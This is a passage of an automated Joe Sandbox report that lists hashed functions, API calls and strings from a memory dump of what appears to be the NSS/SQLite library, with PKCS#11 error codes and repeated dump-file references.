Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: 0~l$P~l$p~l$winUnlockReadLock
API String ID: 0-3460809072
Opcode ID: 59c2f143caa449637c65f49386d4133d10179120c486304b0f492a9c4ea1cee0
Instruction ID: ec9a669ee005a74678e66b18227334a18a8bac8b2af314bbf7e116a53254ddea
Opcode Fuzzy Hash: 59c2f143caa449637c65f49386d4133d10179120c486304b0f492a9c4ea1cee0
Instruction Fuzzy Hash: DEE16770A083408FDB14DF29D59865ABBF0FFCA309F119A2DF88997611E7349985CBC6

Function 6C666F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

unordered*, xrefs: 6C66702B
sz=[0-9]*, xrefs: 6C667049
noskipscan*, xrefs: 6C667067
*?[, xrefs: 6C667034, 6C667052, 6C667070

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: a0bb3cdd2ef58e2e2a457dca9be46373d43b210f080539cc525b91b371eb44da
Instruction ID: e0223e9c564c9ed19637bc2df25c562fd6957086d16e561c03623ab6d9e2ac88
Opcode Fuzzy Hash: a0bb3cdd2ef58e2e2a457dca9be46373d43b210f080539cc525b91b371eb44da
Instruction Fuzzy Hash: 5E718D72F041114BEB148E6FC8803DAB3A39F85318F294239C969ABFD1D6719D4687DB

Function 6C683EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_, xrefs: 6C683FAA, 6C684185
sqlite_master, xrefs: 6C68463F
sqlite_temp_master, xrefs: 6C68460F

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: ef32f38db9146e26124515ffe600caeab3b27b741661508aa9bc585f730905ef
Instruction ID: 22e9acdb73006b7e60f4104ad74a56fd33e4a1eeb69d12593779b7d19c9c080a
Opcode Fuzzy Hash: ef32f38db9146e26124515ffe600caeab3b27b741661508aa9bc585f730905ef
Instruction Fuzzy Hash: 91228C3174B1654FD7108B2684B05FA7BF6AF4A31CB6844A8CAE15FE42C2B5E845C7B8

Function 6C7BBE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6C7BC0B6

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: f405340da0cd17799eccefb2497bb839e3b7b7db0c73df0e86b47bbf694cdaf1
Instruction ID: 5831b693bbbbd60fb483f89cbe2112106bba5a9caaba3c2c2a140fc3bfb68593
Opcode Fuzzy Hash: f405340da0cd17799eccefb2497bb839e3b7b7db0c73df0e86b47bbf694cdaf1
Instruction Fuzzy Hash: 71929170A002498FDB05DF54CA80BAEB7B2FF89309F248168E955BBB91D735EC45CB64

Function 6C653D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6C653EA9

Strings

0, xrefs: 6C653DAB

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: beb8d520546b7cc6f9e79d88d11b26f6e2a5acb62d03abf84562354c503cbf7e
Instruction ID: c99a219ed1be0276cd6a4a892ac18103b24a8016c1eeaff5d3dab0aed27d0a44
Opcode Fuzzy Hash: beb8d520546b7cc6f9e79d88d11b26f6e2a5acb62d03abf84562354c503cbf7e
Instruction Fuzzy Hash: F7512731B490698ADB16467C88613FEBBF19B82B14FB8433BC5A167AC0C22445568798

Function 6C6FEE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6FF019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C6FF0F9

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 12b675f38a21c4cc9bcacbf732a6704a84b0fe53088e767ee49aa822c72c8426
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: BA919F75A0161A8BCB14CF68C8916AEB7F2FF85324F24472DD972A7BC0D730A906CB51

Function 6C722F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C747929), ref: 6C722FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C747929), ref: 6C722FE0

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: adac04ac30576ecb0f330fb7b21b07691509fc63b8617457cbfa820bac0cc482
Instruction ID: 21db72f0efcd3d93270c500802ef8df1069d1f167c108b939f0442b6ce1ad5ab
Opcode Fuzzy Hash: adac04ac30576ecb0f330fb7b21b07691509fc63b8617457cbfa820bac0cc482
Instruction Fuzzy Hash: 9A511671A049118FD730CE55CA84B6AB3BAFB45328F294179DD095BB02D73DE846CBE0

Function 6C72ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C72EE3D

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 0c787dc079a95976b015e6f62b70b8135b144c5c3fe467de1b63afc479f073e0
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 1271D572E017098FE728CF69C98066AB7F2FF88304F15462DD85A97B91D738E940CB90

Function 6C655F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6C656013

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: 29ef44341d01a2cb48d7aa56c3fc2daf8b0dc610d36d4d42145d2443bc390a74
Instruction ID: aa00573031d92acca22ca4c3e998ab2ed398d958a7cb602064df2dc8af6ca020
Opcode Fuzzy Hash: 29ef44341d01a2cb48d7aa56c3fc2daf8b0dc610d36d4d42145d2443bc390a74
Instruction Fuzzy Hash: 46C12870B046068BDB14CF19C8947AAB7B2AF45318FF88229D995DBB41D731EC61CB98

Function 6C7E5E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6C7E5B90: PR_Lock.NSS3(00010000,?,00000000,?,6C6CDF9B), ref: 6C7E5B9E
Part of subcall function 6C7E5B90: PR_Unlock.NSS3 ref: 6C7E5BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6C7E5E23,6C6CE154), ref: 6C7E5EBF

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: cab862964225d833f0744c67617c1ee260799d450f800cae11f1a3ca2cd4d6f1
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: 0B519D72E0022A8FCB18CF59C9819AEF3B2FF88314B19467DD915B7745E730A941CBA0

Function 6C79DCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90da4ba631f55e34b559b8bb6fc6663fbe6a1b353c8853f9f5622e4ec1b5defb
Instruction ID: 5e92e845b4feabb971a884de6e5f93ee969d0bee7e545d69ac8c1d7c5e8b06b9
Opcode Fuzzy Hash: 90da4ba631f55e34b559b8bb6fc6663fbe6a1b353c8853f9f5622e4ec1b5defb
Instruction Fuzzy Hash: 3FF16C71A00205CFDB18CF18E594BAAB7B2BF89318F298178D8199B751CB35EC42CBD5

Function 6C731DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 1aef3f8ddf1061394b36de8a97e0d03a980e37945b8f5a5e5c96e27ca97c3273
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: F5D15872A456768BDB118E18C9843DA7763AB85328F1E9328CC681B7C7C37BE905C7D0

Function 6C6C8EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 586c05a2725d88504cd672db509c96f990ca871ea5b5581f0b10f7e82a8633d1
Instruction ID: 67d517597f545c52cc5892b8c1bda97190edd9e9d43b1e48670feadf23ea3c6d
Opcode Fuzzy Hash: 586c05a2725d88504cd672db509c96f990ca871ea5b5581f0b10f7e82a8633d1
Instruction Fuzzy Hash: 11110432B002158BD724CF24D88875AB7A5FF8A35CF04427AD8158FA62C379D882C7CA

Function 6C7A0C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c184c96bc63e2133e2d38f6ca7f6a75af1b31314ad092a5bdcfd0c9f9b4ffcb3
Instruction ID: e59c217367f9a9a21e7c1e0b4fe79794251e22808867834ec41da163250d0068
Opcode Fuzzy Hash: c184c96bc63e2133e2d38f6ca7f6a75af1b31314ad092a5bdcfd0c9f9b4ffcb3
Instruction Fuzzy Hash: 4111C174704345AFCB10DF68C8806AA77A1FF85368F148579D81A8B701EB31E807CBA4

Function 6C713FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: 2d0aa298563a9d1d346c778e595647c9d26cbfcf1aa0dbb5b016d877af042427
Instruction ID: cf5e324908d13840045123d1165001bd142e0b6dda358e539cf586c3e63555e9
Opcode Fuzzy Hash: 2d0aa298563a9d1d346c778e595647c9d26cbfcf1aa0dbb5b016d877af042427
Instruction Fuzzy Hash: 39F0BE70A047598BCB20DF28D58019AB7F8EF09244F008229EC99AB300EB30AAC4C7C1

Function 6C7A0D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: b02f418b2dfa806ed2b54ed04b48ae381441f6f947f2b6393c93db9a0f56b474
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 60E0223B202014A7CB048E48C501AA93358DF81659FB4897DEC0FAFE01D733F8038780

Function 6C6CCC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7142ff11cc437c6783e04b94a692b6dd39b0bc294b19cf3f9786bdb51d301f7
Instruction ID: ec9f7dda41cdc2b721b6c33d26b82acca4a4340d6324ffd100109e631d783b39
Opcode Fuzzy Hash: c7142ff11cc437c6783e04b94a692b6dd39b0bc294b19cf3f9786bdb51d301f7
Instruction Fuzzy Hash: 06C04838244608CFC754DA48E5999A43BA8AB8961070400A4EA068B722DA22F800CA80

Function 6C701D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6C701D46), ref: 6C702345

Strings

CKR_OPERATION_NOT_INITIALIZED, xrefs: 6C701FD7
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6C702015
rv = %s, xrefs: 6C702340
CKR_PIN_INCORRECT, xrefs: 6C701D92
CKR_PIN_LEN_RANGE, xrefs: 6C702061
CKR_PIN_EXPIRED, xrefs: 6C70206B
CKR_FUNCTION_CANCELED, xrefs: 6C701E73
CKR_OPERATION_CANCEL_FAILED, xrefs: 6C701F77
CKR_MUTEX_NOT_LOCKED, xrefs: 6C702225
CKR_WRAPPED_KEY_INVALID, xrefs: 6C701FB5
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6C702319
CKR_NEXT_OTP, xrefs: 6C70222F
CKR_CURVE_NOT_SUPPORTED, xrefs: 6C702179
CKR_TEMPLATE_INCOMPLETE, xrefs: 6C701F95
CKR_FUNCTION_REJECTED, xrefs: 6C702289
CKR_OK, xrefs: 6C701DFC
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6C702320
CKR_SIGNATURE_INVALID, xrefs: 6C7020CF
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6C702327
CKR_SAVED_STATE_INVALID, xrefs: 6C701E56
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6C7022FF
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6C70226B
rv = 0x%x, xrefs: 6C702312
CKR_MUTEX_BAD, xrefs: 6C701F49
CKR_TEMPLATE_INCONSISTENT, xrefs: 6C701EE1
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6C70227F
CKR_BUFFER_TOO_SMALL, xrefs: 6C702183
CKR_STATE_UNSAVEABLE, xrefs: 6C702037
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6C702275
CKR_NEW_PIN_MODE, xrefs: 6C701E9F
CKR_INFORMATION_SENSITIVE, xrefs: 6C7022B1
CKR_DEVICE_MEMORY, xrefs: 6C701FF3
CKR_PIN_LOCKED, xrefs: 6C702075
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6C702293, 6C70233F
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6C701F0F
CKR_DEVICE_REMOVED, xrefs: 6C702261
CKR_SIGNATURE_LEN_RANGE, xrefs: 6C7020D9
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6C70232E
CKR_OPERATION_ACTIVE, xrefs: 6C7022B8
CKR_PIN_INVALID, xrefs: 6C702057
CKR_OBJECT_HANDLE_INVALID, xrefs: 6C70204D
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6C701DE0
CKR_TOKEN_NOT_PRESENT, xrefs: 6C701F81
CKR_DEVICE_ERROR, xrefs: 6C70229D
CKR_RANDOM_NO_RNG, xrefs: 6C7022A7
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6C701F8B
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6C70218D

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Print
